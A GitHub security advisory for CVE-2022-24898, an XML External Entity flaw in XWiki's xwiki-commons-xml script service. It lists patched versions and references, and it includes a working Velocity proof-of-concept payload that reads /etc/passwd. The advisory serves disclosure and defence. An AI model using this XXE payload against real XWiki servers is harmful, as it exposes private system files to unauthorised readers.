GHSA-m2r5-4w96-qxg5

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GHSA-m2r5-4w96-qxg5

Summary: Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml

Details: ### Impact It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service. For example: ``` {{velocity}} #set($xml=$services.get('xml')) #set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>") #set($doc=$xml.parse($xxe_payload)) $xml.serialize($doc) {{/velocity}} ``` ### Patches The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1. ### Workarounds There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights. ### References https://jira.xwiki.org/browse/XWIKI-18946 ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki](https://jira.xwiki.org) * Email us at [XWiki Security mailing-list](mailto:[email protected])

References: https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-m2r5-4w96-qxg5, https://nvd.nist.gov/vuln/detail/CVE-2022-24898, https://github.com/xwiki/xwiki-commons/commit/947e8921ebd95462d5a7928f397dd1b64f77c7d5, https://github.com/xwiki/xwiki-commons, https://jira.xwiki.org/browse/XWIKI-18946